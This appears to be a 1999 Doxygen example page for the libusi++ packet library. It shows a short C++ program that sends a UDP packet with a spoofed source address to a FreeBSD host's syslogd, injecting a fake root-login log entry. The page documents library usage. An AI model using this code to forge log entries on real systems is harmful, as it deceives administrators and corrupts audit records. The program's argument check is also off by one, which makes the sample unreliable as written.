Namespaces   Class Hierarchy   Compound List   File List   Header Files   Compound Members   File Members   Examples  

#include <iostream.h>
#include <usi++/usi++.h>

// spoof a syslog message to a FreeBSD box.

int main(int argc, char **argv)
{

	if (argc < 2) {
		cout<<argv[0]<<" [src] [dst]\n";
		exit(1);
	}
	UDP udp(argv[2]);
        udp.set_srcport(11);
        udp.set_dstport(514);		// syslogd
	udp.set_src(argv[1]);
       	udp.sendpack("login: ROOT login (root) ON ttyv666\n");
        return 0;
}

Generated at Sun Oct 10 13:51:35 1999 for libusi++ by doxygen  written by Dimitri van Heesch, © 1997-1999